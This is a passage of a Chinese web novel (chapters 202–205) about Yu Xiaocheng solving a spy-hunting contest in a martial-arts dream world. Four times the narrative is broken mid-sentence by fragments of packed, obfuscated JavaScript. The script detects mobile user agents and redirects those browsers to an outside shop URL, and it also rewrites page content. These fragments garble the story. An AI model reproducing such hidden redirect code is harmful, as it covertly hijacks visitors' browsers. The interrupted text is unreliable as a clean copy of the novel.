见她沉默不语,范正昂觉得自己说错话了,忙解释道:“我只是觉得,如果你真放下了,大抵应该跟我一样,把这里当做新的容身之地,更积极地去面对所有人。除非你内心其实觉得,自己早晚会离开。” 仿佛是潜藏的心思被人识破,俞小澄茫然地盯着范正昂。 如果有一天她送走曾勇和白羽楠,那她又该为了什么而继续活着呢? 她的人生早就没有了方向,只为了飘渺的希望而坚持着,她不去接触任何人,只是不想投入任何感情在任何人身上,这样分别时便不会痛苦。 “你干嘛突然跟我说这些?”俞小澄就像一只刺猬,将自己蜷缩进尖刺的保护网。 范正昂失落地回答:“因为今夜过后,旅店大概又只剩你和我了。” “什么意思?”俞小澄一时有些错愕。 范正昂说:“方才我去问了那两个人,在山林里有没有遇上自称岐卬教的弟子。” 俞小澄立刻明白了范正昂所指,问:“那两人也同意交易了?” 范正昂垂着脑袋,摇了摇头,声音有些倦怠:“他们没有说,一直支支吾吾,顾左右而言他,瞧那样子,肯定是做了什么不想别人知道的事。” “恭喜,你的王国覆灭了。”俞小澄一脸幸灾乐祸。 “呵,还会有新的子民到来。”范正昂顺着她的话说,脸上写着倔强与不服输。 第二场比试结束后,这场梦境又进入了大半日的休闲时刻。 俞小澄在寻宝比试中,怒赚十四枚金币,根本不在意NPC之后所发布的金币任务。 经过这一轮对梦境规则的探索,俞小澄甚至怀疑这些金币任务也藏着陷阱,毕竟有不少是为了报复而作恶,这严重违反了梦境规则。 俞小澄便在山庄外,寻了个景美且没人的地方,悠闲地独处。 这是一处坐落于溪水边的凉亭,山林掩映,流水潺潺,鸟鸣虫吟。俞小澄背靠檐柱,倚栏坐在美人靠上,闭目养神。 在她休息时,去寻找优秀弟子奖励的招财终于出现,老远就尖着嗓子大叫“姐姐”。 俞小澄慵懒地睁开眼,看着招财一脸兴奋地飞到自己面前,笑道:“怎么?前任武林盟主留下的绝世宝剑当真是记忆之门的钥匙?” 招财不停挥舞着手臂,高声嚷道:“记忆之门的钥匙有啥重要,我找到属于招财的道具了!” 俞小澄猛地坐直了身子,脑子从迷迷糊糊中逐渐清醒,难以置信地盯着招财,多次确认:“你当真找到消灭恶灵的道具了?” 招财不住地点头,眯眼笑得比俞小澄还开心。 没想到让招财去查看记忆之门的钥匙,反而有意外的收获,俞小澄摊开双手,并拢伸到招财面前,乐呵呵地说:“快拿出来我看看。” 招财一愣,脸上笑容瞬间消失,指了指山庄方向,说:“就是那把绝世宝剑,可它被供在一间密室中,我无法取走,需要姐姐亲自去拿。” “走!” 嘴里简单发出一声指令,俞小澄从美人靠上一跃而起,说着就往山庄走。 招财掩不住脸上的兴奋之色,搓着小手跟在俞小澄身后。 只有进宝突然飞到俞小澄面前,在空中摆出一个大字,拦住了俞小澄的去路,她忧心忡忡地说:“姐姐,偷窃会不会也是禁忌?” “啊!”俞小澄大惊失色,静下心来想了想,才意识到方才自己的想法有多危险。 如果不是进宝拦住自己,她跟招财恐怕还来不及干掉恶灵,就会因为违反梦境规则,而让恶灵有了可乘之机,到那时,死的大概不是恶灵,而是俞小澄。 “是我冲动了……” 俞小澄一步步后退,又折返回凉亭中,将自己挂在栏杆上,跟条被晾干的咸鱼一样,心中无比沮丧,“不能偷,不能抢,那要如何获得道具呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049990|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >招财抓耳挠腮,忽然灵机一动,说:“姐姐,前任武林盟主留下的绝世宝剑不是要赠给本次比试的优秀弟子吗?” 俞小澄回过神来,终于想起还有这么一回事,看来想要正大光明地拿到招财的道具,就必须在三日的比试中获得最高分。 幸好,前两场她都拿到了获胜分数,只要在明日最后一场比试中,让队伍胜出,并赢得分数,便可赢得奖励。 一瞬间,俞小澄感觉自己又有了动力,将心中阴霾暂时拂去,不由得开始畅想起未来。 曾勇重新获得验证机会后,能否顺利离开旅店呢? 如果离开旅店后,他还会记得旅店里发生的事情吗? 还会记得世上有她这个人吗? …… 无数的问题在脑海中穿行,仿佛在那片死水中扔进一只小鱼,稍加一点生机,让一尘不变的生活好像有了一点盼头。 当晚,她怀揣着对第三日比试的憧憬沉沉睡去,恍惚中似乎又听到了那阵熟悉的鼓声。 第二日,如同俞小澄和范正昂预测的那般,除了他俩,其余住客全都没了影踪。 不管是山庄里的住客,还是后山的住客,统统被定义为遭岐卬教细作掳走,然后便没有然后了。 没有人为他们哀悼,没有人为他们喊冤,一切都像是稀松平常之事,连议论的必要都没有。 旅店又只剩下两位住客,一个是俞小澄,一个是范正昂。 而梦境,还没有结束。 第三场比试的内容是找出潜藏在山庄里的岐卬教细作,以太阳下山前为期限,写下自己怀疑之人的名字,交到四大门派掌门所在的会客厅即可。 在所有名单提交完毕后,四大门派掌门会召集所有弟子,于会客厅中统一进行身份验证。 如果能证明自己怀疑之人的细作身份,便可获得分数,相反,直接淘汰出局。 如果最终最高得分者不止一人,明日会加赛一局。 优秀弟子的奖励会在明日颁发,届时根据此次比试的结果,也将确定新一任武林盟主的人选,优秀弟子可参与围剿魔教的议会。 等到比试的考题公布完毕,四大门派掌门便回到会客厅之中,其余弟子可以自由活动,允许相互之间进行交流。 虽说四位掌门终于意识到该找出魔教细作这件事了,但此次比试依然莫名其妙。 “那四个老头什么事都没有干,最后反而成了武林盟主,是不是太儿戏了?”俞小澄低声念叨。 范正昂点点头:“我还以为,至少应该让我们竞选武林盟主。” 俞小澄:“他们真心想剿灭魔教吗?我感觉弟子都要没了,还靠什么赢?” 范正昂:“幽兰梦境不是阵营主题吗?现在玩家就剩我们两个了,还不算结束吗?” 俞小澄:“也许,我们现在的阵营都还未确定。” 范正昂:“所以还会有事件影响我们阵营归属?” 俞小澄:“嗯,规则还在继续,这场比试也得当心。” 范正昂:“可我们要如何从这么多弟子中找到魔教细作啊?” 对此俞小澄也是困惑不已,她将视线扫向了不远处正被同门弟子围住的曾师兄。 203. 梦境(八) “曾师兄,细作之事你可有头绪?” “对啊,大家一起出谋划策,替掌门赢下武林盟主之位,让顾恩派的名声威震武林!” “我觉得细作藏在碧暗宫弟子里。” “啊?为啥?我怎么觉得是德岙谷。” “不不不,我感肯定,一定是霁安门!” …… 围绕在曾师兄身旁的同门弟子七嘴八舌,俞小澄环顾四周,发现这一次比试似乎形成了门派之间的对决。 每个门派都以门中威望最高的师兄师姐为中心,聚在一起商讨着对策。 站在边上窃窃私语的俞小澄和范正昂二人,反倒成了不合群的边缘人士。 俞小澄赶紧带着范正昂混入了顾恩派弟子之中,想看看他们能商讨出什么有用的信息。 曾师兄抬手打断了众人的争吵,说出了自己的看法:“魔教细作也许不止一人,这反而不是坏事,人越多越容易露出马脚,也许能从蛛丝马迹中找出藏匿在山庄内的细作。” 一番话说得煞有介事,可仔细琢磨,又觉得没有一点营养。 俞小澄在人群中举起手来,打断了曾师兄的漂亮话,开门见山地问道:“如果不止一人,那也有可能藏在顾恩派弟子中,不是吗?” 此话一出,七八双眼睛带着愠色,直勾勾地瞪向俞小澄。 “哼,你到底是不是顾恩派弟子啊?怎么还想抹黑师门呢?” “就是,我看你就是魔教细作吧?” “她叫什么名字来着?我干脆就写她名字得了。” 顷刻之间,俞小澄成了众矢之的,铺天盖地的质疑声四起,根本容不得她解释,气得她彻底没了脾气。 她索性阴阳怪气地笑了起来,故意刺激道:“哦,说不定我就是细作呢?你们大可写上我名字试试,我叫俞小澄,这三个字会不会写?要不要我帮你们写?” 她这毫不留情的回怼,让气势汹汹的几名弟子心中生出些怀疑,遂而噤了声,没有再继续揪着她不放。 曾师兄适时地打了圆场:“同门之间没必要相互怀疑,这场比试的结果终究得看证据,不能冤枉了好人,放过真正的坏人。” “那证据该如何找?魔教细作也不会有人傻到自己承认自己是细作吧?”范正昂顺着曾师兄的话问道,“魔教细作有什么特征吗?” 人群中一人插话道:“我知道一点,听闻岐卬教的弟子擅用火铳。” 周围有几个同样知晓这条线索的弟子点头称是。 俞小澄差点没被口水呛到,目瞪口呆地看着说出这句话的人,怀疑自己幻听了。 “火铳?” 俞小澄和范正昂几乎同时叫出了声。 周围的弟子露出一脸轻蔑的表情,人群中隐隐传来几声冷笑,好像是在嘲笑二人没见过世面。 曾师兄十分好心地朝二人比划着手势,嘴里解释道:“火铳,就是一种金属管型射击火器,以火药发射弹丸,伤害威力巨大……” 曾师兄的耐心解释让二人看上去更像两傻子,二人面面相觑,低声耳语。 范正昂:“这不是武林争霸吗?怎么连热兵器都出来了……” 俞小澄:“对面都用枪了,确定还能邪不胜正吗?曾师兄是不是脑子有坑啊……” 范正昂:“最后不会真要我们用刀剑棍鞭,去硬碰对面的火铳吧?” 俞小澄:“说不定……” 其他弟子没有理会这两个看上去一脸茫然的傻子,继续讨论有关细作的线索。 又有一人站拉出来,一边提防着其他门派弟子,一边将手拢在嘴边,小声说道:“我也听说过一些传闻,那岐卬教之人精通易容。” 见同门弟子十分热心地相互分享信息,曾师兄欣慰一笑,说:“我这里的确有点旁人不知道的消息,听说凡事入了岐卬教的人,都会在左肩上留下一个火焰纹身。” 方才的擅用火铳,精通易容,终究是个人技能,只要不展示,轻易分辨不出。 可曾师兄所说的纹身,明显具体太多,这是一条十分直观可以确定细作身份的线索。 俞小澄有些疑惑地偷瞄着曾师兄,心里总觉得哪里有些怪异,具体又说不上来,只是觉得如果大家都知道这条线索,还能分出胜负吗? 就在她疑惑之时,顾恩派的弟子已经四散开来,似乎这条线索给了大家无限的信心,立刻分头开始寻找起可疑对象了。 曾师兄不知何时出现在她身旁,轻轻拍了拍她的肩,关切道:“小师妹对细作身份有眉目了吗?如果需要帮忙,随时告诉师兄,这些弟子中,师兄最看好你,优秀弟子之名,小师妹也可以争上一争。” “呵,看好我吗?师兄有这线索,只要隐瞒不说,优秀弟子不是非你莫属吗?”俞小澄试探道。 曾师兄一脸正气,说:“同门之间本就该互帮互助,共进退,怎可为了一己私利,而损害同门利益呢?这不是君子所为。” “呵呵,曾师兄好棒!”俞小澄不走心地奉承道。 很快,所有门派的弟子四散开来,似乎师门内相互交流了已知信息,接下来的时间便是逐个排查。 范正昂凑到俞小澄面前,问:“你怎么看?我们要去挨个撕开NPC的衣服查看他们的肩膀有没有纹身吗?女生的衣服我可不好撕,要不你上?” 俞小澄用嫌弃的眼神盯着范正昂,讥笑道:“没想到你是这样的人。” 范正昂被她说得有些不好意思,抓耳搔腮地不知该如何为自己辩解。 俞小澄转头望着山庄里相互试探中的人,收敛了脸上的笑,说:“你真觉得这条线索可靠吗?” 范正昂微微一怔:“你觉得这是恶灵在骗我们?” “整场游戏都透着一股奇怪的味道,为啥要用寻找魔教细作作为比试题目呢?这种事不是应该由四位掌门来处置么?”俞小澄摸着下巴,努力思索着。 “如果答错,会死吗?”范正昂问出了他最在意的问题。 俞小澄不敢肯定,可直觉告诉她有风险,她坚定地回答:“不管有没有死亡风险,我都必须拿下优秀弟子头衔!” 范正昂面露疑色,笑道:“俞小姐何时这么有干劲了?” 俞小澄扭头直视着范正昂的眼睛,将实情和盘托出:“前任武林盟主留下的绝世宝剑,就是消灭恶灵的道具。” 范正昂闻言大惊失色,虽不知道俞小澄是如何确定的,但他不会质疑俞小澄的能力,毕竟俞小澄在旅店中,拥有常人没有的消灭恶灵的实力。 “所以你才需要赢得比试的奖励?”范正昂渐渐理解了目前的情况,随即也就犯了难,要如何在这场荒诞的游戏中取胜? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061526|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯,我有个想法,兴许能找出魔教细作。”俞小澄谨慎地回答。 俞小澄并不打算根据曾师兄提供的线索去寻找细作,因为有别的线索让她更加在意。 “什么办法?”范正昂一脸好奇。 俞小澄说:“昨日寻宝时,你不是遇到一个穿碧暗宫弟子服的面具人吗?” 范正昂点头:"没错,你觉得细作混在碧暗宫弟子之中?" “不。”俞小澄一口否认,“我只是想起你说面具人开出的条件。” 范正昂在她提醒下,立即反应过来,道:“嗯,面具人说可以告诉我记忆之门的钥匙在哪里。你是想用这条信息钓出细作?” 对于范正昂的快速理解,俞小澄倍感欣慰,笑着点了点头。 她的确就是这样打算的,这件事也只有范正昂去做才不显得突兀,也更有可能引出那个试图诱惑他的魔教细作。 这比寻找肩上纹身更让俞小澄安心些,她总担心太过刻意的线索会是陷阱。 于是二人商量好,由范正昂前去与所有弟子接触,不需要交流太多,只简单告诉对方一句话:“我想知道记忆之门的钥匙在哪里。” 范正昂彻底理解了俞小澄的意图,便装出一副因没有同意交易而懊悔的样子,开始在山庄里转悠。 至于俞小澄,她没有与任何弟子接触,而是站在暗处,静静地观察着山庄里每个人的动向,特别是曾师兄。 她发现许多人似乎都知道了肩上纹身这条线索,不仅限于顾恩派,连其余三个门派的弟子都有意无意地瞥向他人肩头。 这怪异的行为,让俞小澄立刻联想到了曾师兄给出的线索。 反观曾师兄,他对于寻找魔教细作并不积极,一直四处溜达,有任何人想要寻求帮助,他都十分热心地提供帮助。 他似乎与谁关系都不错,不时搭上别派弟子的肩,谈笑间犹如兄弟一般,真好人缘属实令俞小澄羡慕。 与此同时,俞小澄不得不怀疑这线索就是他四处散播的。 俞小澄万分庆幸自己没有根据他的线索行动,否则指不准已经一头栽进了恶灵挖的大坑里。 时间一点点过去,进展却并不理想,整个山庄的人相互怀疑,从互相试探,渐渐演变成冲突。 终于,始终压抑在众人心底的疑心,在焦虑不安中逐渐升级,在一句句试探的话中迎来了爆发。 有人从争吵变成了动手,相互拉扯,目标十分明确——就看对方肩上有没有纹身。 然后,一人难掩兴奋地惊呼,一人倒地,面上表情错愕得连话都说不出来了。 兴奋的人立刻冲向了会客厅,而倒地的人一边摇头摆手一边辩解。 “不是这样的,我不是细作,这不可能!我根本没有什么纹身!” 倒地的人爬起身,手指用力搓着肩上的图案,直到皮肤充血,那个黑色的火焰依然纹丝不动地附着在皮肤上,就像与生俱来的胎记一般。 被方才的争执惊动,不少人视线投向了倒地的人,当有人注意到他肩上的纹身后,这消息便迅速蔓延开来。 非同门的弟子开始远离,仿佛白捡了答案,匆匆赶往会客厅;同门的弟子不愿承认自己门中出了细作,不得不帮那人辩解。 山庄内乱作一团,有人欢喜,有人愁,只有俞小澄心中更加疑惑了。 204. 梦境(八) 那名被认作魔教细作的弟子表情不似作假,俞小澄心中疑惑越深,一直站在暗处观察,然后发现这种事并非只发生在一人身上。 有不少人兴奋地嚷着自己找到细作了,而那些被认为细作的人,全都一脸茫然,似乎根本不知道自己肩上会出现火焰纹身。 许久后,几乎每个门派都出现了疑似细作的弟子,原本试图帮助同门开脱的弟子也渐渐不自信了。 于是,那些被发现肩上有火焰纹身的弟子遭到了所有人的排挤。 被抛弃的弟子们抱团取暖,聚在一处商量对策,无不觉得是有人故意想害他们。 俞小澄带着好奇心,悄悄混入其中,假装自己也是被陷害的那一个。 “可是,谁会想害我们呢?害我们的意义又是什么呢?”俞小澄混在人群中,试探地问出心中疑惑。 她的这句话,立即又引发了各门派弟子对于其他门派的指责。 毕竟一开始,同门弟子多少会维护自家兄弟姐妹,他们谁也不愿相信,自己人会害自己人,并且给师门抹黑,没有傻子会这样做。 至于他们为何会认为是其他门派弟子,只单纯因为昨日在山谷中,所有人都遇上了试图与他们交易的魔教细作,穿着的弟子服虽然不同门派,却同样带着面具。 将这话说出来后,在场众人全都一惊。 “每个门派中难道都混入了细作吗?” “天啊,到底魔教派出了多少人?” “可我没发现有谁不对劲啊……” “岐卬教的妖人擅长易容,可能我们也被迷惑了!” “再怎么精通易容,也不至于不漏一点马脚吧……” …… 众人又是一顿热议,可惜依然没有结论。 究竟潜藏在门派中的细作是谁? 他们身上的纹身又是从何而来? 他们绞尽脑汁,也没有头绪,只能乱作一团。 “等等,就算有人误把我们当做细作,掌门一定可以明辨是非,总不会冤枉我们吧?” 突然人群中一名弟子提出了与众不同的问题,众人视线向那人汇聚,不禁思考起这个问题来。 这句话倒是提醒了俞小澄,她悄悄离开了议论纷纷的人群,独自往会客厅走去。 途中她又遇上了一脸正气的曾师兄。 似乎是看出了她前进的方向直通会客厅,曾师兄关心道:“小师妹已经有了答案了吗?若答错,可是会失去获胜机会,还是谨慎些好。” 俞小澄感觉曾师兄话里有话,于是停下脚步,笑嘻嘻地问曾师兄:“怎么曾师兄看起来不像在寻找细作呢?曾师兄不想赢得优秀弟子称号吗?” 曾师兄语重心长地说:“称号不过是虚名,是否能赢倒是其次。我所在乎的,不过是能否战胜邪恶,能否保持善意。” “呵呵,可抓细作不也是声张正义,行善举吗?曾师兄怎么一点都不慌呢?” 俞小澄的视线试图看穿眼前的恶灵,可恶灵始终一副浩气凛然的模样,似乎他口中的话就是他的本心,不参虚假,心中执念如此。 曾师兄露出柔和的笑,说:“邪不胜正,善恶有报,小师妹不必太过忧心。” 说完该说的话,曾师兄便告辞,又去调解各门派弟子之间的纷争。 俞小澄则继续前往会客厅,拜见四位掌门。 当俞小澄站在四位掌门面前时,顾恩派掌门指了指一旁的桌子和桌上的纸笔,道:“将你的答案留在纸上,并附上你自己的名字,便可离开了。” 俞小澄摆了摆手,说:“答案我还没想好呢!” 霁安门掌门一听就不乐意了,吹胡子瞪眼驱赶道:“没想好答案进来干嘛?出去出去。” 碧暗宫的女掌门倒是比几个老头子开明,愿意听俞小澄解释,于是阴阳怪气地指责霁安门掌门: “不是你门派的弟子,就不能说话了吗?还说什么四大门派同气连枝,我看都是狗屁,你只想让你家弟子胜出吧?多大岁数了,心眼儿比绿豆还小。” “你!”霁安门掌门面露愠色,冷哼一声,“我这叫一视同仁!” 顾恩派掌门没有理会二人,径直问俞小澄:“你来此是何意?” 俞小澄面不改色地说:“我就想问问,四位掌门如何判断细作真伪?” 德岙谷掌门忽然大笑起来,上前两步,一边捋着胡须,一边打量着俞小澄,爽朗地说道:“终于有弟子想起问这事了。” 这个答案让俞小澄有些意外,没想到掌门一直在等,看有没有人会问他们这个问题,然而不少人进入会客厅后,不敢多言,老实地留下名字便依言离开了。 “你怎么会想到问这个问题?”顾恩派掌门面露喜悦,一脸赞赏的表情。 俞小澄心中虽有疑惑,但表面装出一副正直善良的模样,说:“我不希望有同门蒙受不白之冤!” 话说得漂亮,其实她只是不想落入恶灵的陷阱罢了。 碧暗宫掌门感动地对顾恩派掌门说:“你派真是培养出一名好弟子!” 对于这些场面话,俞小澄没有一点兴趣,赶紧催促道:“所以,究竟有没有办法辨别真伪?” 顾恩派掌门轻咳一声,说:“我们自然不会冤枉任何弟子,这点你放心,但我们不能告诉你辨别办法,否则,不是将答案直接告诉你了吗?哈哈,公平也很重要,你安心去寻找自己的答案吧!” 话音刚落,顾恩派掌门冲俞小澄挥了挥手,俨然一副送客的姿态。 俞小澄也没法厚着脸皮继续赖着不走,告辞离开了会客厅。 “姐姐需要我帮你去偷看其他人的答案吗?”招财瞥了一眼会客厅桌上堆放的一摞纸,已经有十来个人提交了自己的答卷。 俞小澄摇了摇头,道:“不用了,里面估计都是错的。四位掌门如此笃定不会冤枉好人,可能他们一开始就已经知道答案了。” 进宝不吐不快:“知道了还不赶紧抓起来?等着对方屠戮自己门派?脑子有病!” 俞小澄若有所思,总感觉一丝违和感。 此时跑得满头是汗的范正昂寻到了俞小澄面前,开口便说道:“我把山庄里所有弟子都问了个遍,没有一个人上钩。” 范正昂确实快把整个山庄跑遍了,逢人就说:“我想知道记忆之门的钥匙在哪里。” 几乎所有人听到这句话,都回送他一个看傻子的眼神。 不想跟他闲扯的人,会明说不知道他在说什么;好奇的人,会反问他什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074699|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么是记忆之门;意图捉弄的人,会胡乱给他指一个方向…… 最终范正昂可以肯定,这里面没有一个人是当时用记忆之门钥匙引诱自己犯罪的细作。 听到这样的结果,俞小澄一点都没有表现出意外,反倒是范正昂感觉有些难以理解。 他问:“会不会想跟我交易的细作已经不在山庄里?要么在昨晚失踪的人里,要么被关到了后山去?” 俞小澄并不赞同,平静地说道:“你别忘了细作是为何而存在,真的是魔教与四大门派之间的博弈吗?” 范正昂表情凝重地回道:“我明白你意思,细作的出现不过是为了替恶灵埋下陷阱,本就是为了蛊惑人心,进而促使玩家违反梦境规则。但这与他们最终可能的处境又有什么关系?” 俞小澄沉思片刻,说:“我一开始也这么认为,恶灵创造的魔教细作,特殊NPC,就藏在门派弟子中。” “这么想最合理,不是吗?”范正昂反问。 “如果你没说魔教细作用记忆之门钥匙诱惑你的话,的确如此。” “怎么说?” “就算是特殊NPC,也会遵循梦境的规则,符合梦境的背景与环境,作为融入其中的一个角色,他们没有对于梦境之外世界的意识,至少至今没有出现过这种案例。” “原来还有这种说法。” “正因如此,我有了两种猜想:其一,所谓的细作,就是恶灵自己,所以他知道记忆之门钥匙;其二,我们看到的不过是幻觉,而幻觉只是映射出我们可能想要的东西。” 对于俞小澄的两种猜想,范正昂觉得有几分道理,但同时又觉得有点说不通的地方。 他说:“如果只是幻觉,掌门又为何要让大家寻找魔教细作,甚至以此来决定游戏胜负呢?” 俞小澄扭头,抬起下巴指了指会客厅方向,说:“所以我刚才去问了掌门,他们要如何辨别真伪。” 范正昂问:“如何?” 俞小澄唇角微扬,露出意味深长的笑,道:“有点意思,四位掌门似乎知道细作是谁,所以根本不担心是否会冤枉好人。” 范正昂一脸诧异,愣了半晌,才问:“这不是很奇怪吗?知道细作是谁,却不抓起来,就为了给弟子出难题吗?” 范正昂的反应与进宝差不多,更让俞小澄觉得自己的想法可能没有错。 俞小澄:“对啊,正常情况来说,的确应该这样做才对,除非……” 范正昂:“除非什么?” 俞小澄:“除非细作存在本身就是为了考验弟子。” 范正昂:“可这样一来,岂不与方才的推论冲突了吗?” 俞小澄笑道:“如果不冲突呢?” 范正昂茫然了。 俞小澄却似乎终于找到了这场游戏的答案,她带着范正昂又重新折返会客厅。 这一次,她没有向四位掌门提问,而是在四双眼睛的注视下,带着范正昂走到了桌前,提笔写下了答案和姓名,并让范正昂也照着写上一份。 范正昂有一丝犹豫,思虑再三,还是顺从俞小澄的指示,写好了自己的答卷,俨然一副舍命陪君子的大无畏模样,实际心里依然忐忑不安,焦虑地等待着这场游戏迎来大结局。 205. 梦境(八) 傍晚时分,所有弟子齐聚会客厅,四位掌门一一翻看每一份答卷,被念到名字的答题者需列举答题的依据,即指认魔教细作身份的证据。 基本上被写上名字的人都是此前被人发现肩上有火焰纹身的弟子,而他们写下的人名则各有不同,似乎是为了报复,写下了第一个指认他们是细作的人,也就是将他们推入被猜忌的漩涡之中的罪魁祸首。 当许多人提出他们指认的依据是火焰纹身之时,四位长老相视一笑,似乎早已看透了一切的样子。 碧暗宫掌门提议:“既然如此,不如按照这条线索好好彻查一番。” 其余三位掌门点头附和。 于是,一场大规模的验明正身戏码就此拉开帷幕。 连后山闭关的弟子也被召唤到了会客厅内,男女弟子分组,相互查看肩上是否有火焰纹身。 俞小澄不知道四位掌门如此做究竟是何意图,无奈也得照做。 可当与她互查肩头的女弟子发出一声惊呼时,她终于摸清了这场闹剧的缘由。 俞小澄的左肩上,赫然显现出一个黑色的火焰纹身,连她自己都不曾发觉何时有了这样一个纹身。 全部有纹身的弟子最终被聚在了场地中央,被无数双眼睛怒视着,就像是他们做了什么不可饶恕的坏事一般。 “究竟是怎么来的?” 心里直犯嘀咕,俞小澄不自觉地咬着手指,在记忆中努力搜寻着线索。 “这鬼纹身还能传染不成?” 俞小澄喃喃自语,视线扫过身旁那几个愤愤不平的弟子,想起曾假装情况与他们一样,试图混入他们之中打探消息,不料自己真成了他们中的一员。 忽然一个画面闪入她的脑海中,曾有人拍过她的肩膀,难道是那个时候? 为了验证自己的猜想,她低声问身旁一名弟子:“今日大家在院子里寻找线索时,你是否与曾师兄说过话?” 身旁弟子一脸不耐烦:“都啥时候了,我们都快被冤枉死了,你还有空闲扯?” 收获一个大白眼后,俞小澄无奈地苦笑两声,想要再问,顾恩派掌门突然开了口,将她的话堵在了口中。 “嚯,这么多细作混入我山庄之中,我这个当掌门的,属实无能啊!” 顾恩派掌门一边捋着胡须,一边似笑非笑地说着。 霁安门掌门吹胡子瞪眼冷哼道:“你要承认自己无能,可别带上我!这么多弟子被替换了,我万不可能无所察觉!” 德岙谷掌门捧腹大笑:“这指认依据究竟从何而来?都没有人怀疑过吗?” 碧暗宫掌门看着手中几份答卷,微笑说道:“也不全是傻子,这里不还有几个人名不在他们之中嘛。” “啧,刚不是问过了嘛,纯粹因为对方写了自己的名字,所以认为对方是细作,故意栽赃嫁祸。你听听,这是指认同门的理由吗?” 霁安门掌门面露恨铁不成钢的失望表情,毫不留情地高声斥责。 被他点中的弟子,赶紧低下头,死死盯着地面,唯恐视线与霁安门掌门接触。 碧暗宫掌门抖了抖手中两张纸,冲顾恩派掌门说道:“喏,还有两人指认你家大弟子,你这个当师父的怎么说?” 顾恩派掌门接过碧暗宫掌门递过来的两张纸,目光锁定在落款上,高声说:“俞小澄,范正昂,指认你们大师兄是魔教细作,依据是什么?” 俞小澄和范正昂远远对望一眼,各自从人群中走了出来。 四周议论纷纷,有人骂她二人白眼狼,有人说她二人脑子不好,还有人为曾师兄鸣不平。 众目睽睽下,二人走到人群之前。 俞小澄偷瞄了一眼曾师兄,只见曾师兄一脸坦然,非但没有恼羞成怒的迹象,还露出欣然一笑。 见二人没有开口,霁安门掌门急躁地催道:“掌门问话,为何不答?莫非与你们大师兄有仇,蓄意报复?” 范正昂焦虑地望向俞小澄,他其实不知道俞小澄为何要冒险写下这个名字,只能向俞小澄投去求助的目光。 俞小澄丝毫不慌,镇定自若地回道:“德岙谷掌门提出的问题,不就已经说出我的依据了吗?” 德岙谷掌门愣了一下,诧异地看着俞小澄,问:“我提啥问题了?” “你问,他们的指认依据从何而来。”俞小澄冷静地回话,随后抬手指了指站在人群里的曾师兄,说,“火焰纹身的线索,正是曾师兄告诉大家的。” 话音刚落,顾恩派掌门便唤了曾师兄上前问话。 曾师兄坦然承认,这条线索的确出自他口,但这条线索并没有问题,坊间的确有人见过,凡是入了歧卬教的人,肩上都会留下火焰纹身。 碧暗宫掌门点了点头,附和道:“我也听过这样的传闻,倒不是他说谎。” 霁安门掌门说风就是雨,随即对着俞小澄兴师问罪道:“仅凭这一点,你就指认大师兄为细作?” 瞧着霁安门掌门叫嚣的模样,俞小澄有些不爽,冷脸回怼道:“你不也没有办法证明谁是细作吗?你恐怕只能肯定自己门派中没有细作吧?那你有啥资格觉得我的理由不充分?” 被俞小澄咄咄逼人的气势吓了一跳,霁安门掌门连退两步,而后又觉失了颜面,指着俞小澄的鼻子怒道:“你、你、你这没有教养的小辈,反了天了你!” 俞小澄送了他一个白眼,而后无视他的叫嚷,转向其余三位掌门,道:“德岙谷和碧暗宫也是如此吧?所以你们断定不会冤枉无辜。” 德岙谷和碧暗宫的两位掌门面面相觑,有种心事被看透的心虚感,纷纷看向了顾恩派掌门。 此刻俞小澄的目光正对上顾恩派掌门,她微微一笑,继续说道:“而掌门就不一样了,你知道谁是细作,但为了今日考验,故意留他在山庄里。” 顾恩派掌门闻言呵呵笑了起来,面露欣慰之色,夸道:“只是来确认我们能否判断真伪,就能有如此推论,算你有些小聪明。不过,仅仅因为你大师兄提供了线索,就认定他是细作,会不会武断了些?” 俞小澄被这些NPC念得逐渐丧失耐心,皱着眉头,压着情绪,道:“我看其他弟子的表现不像细作,自然要怀疑这条线索的真伪,那就不得不怀疑到提供这条线索的人身上。” 说话间,俞小澄侧目观察着曾师兄的表情,发现后者对于她的指控始终保持着波澜不惊的淡定。 她不知道恶灵又在想什么,是否还有后招,不由得乱了思绪。 事已至此,多想无益,俞小澄使劲甩了甩头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091276|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 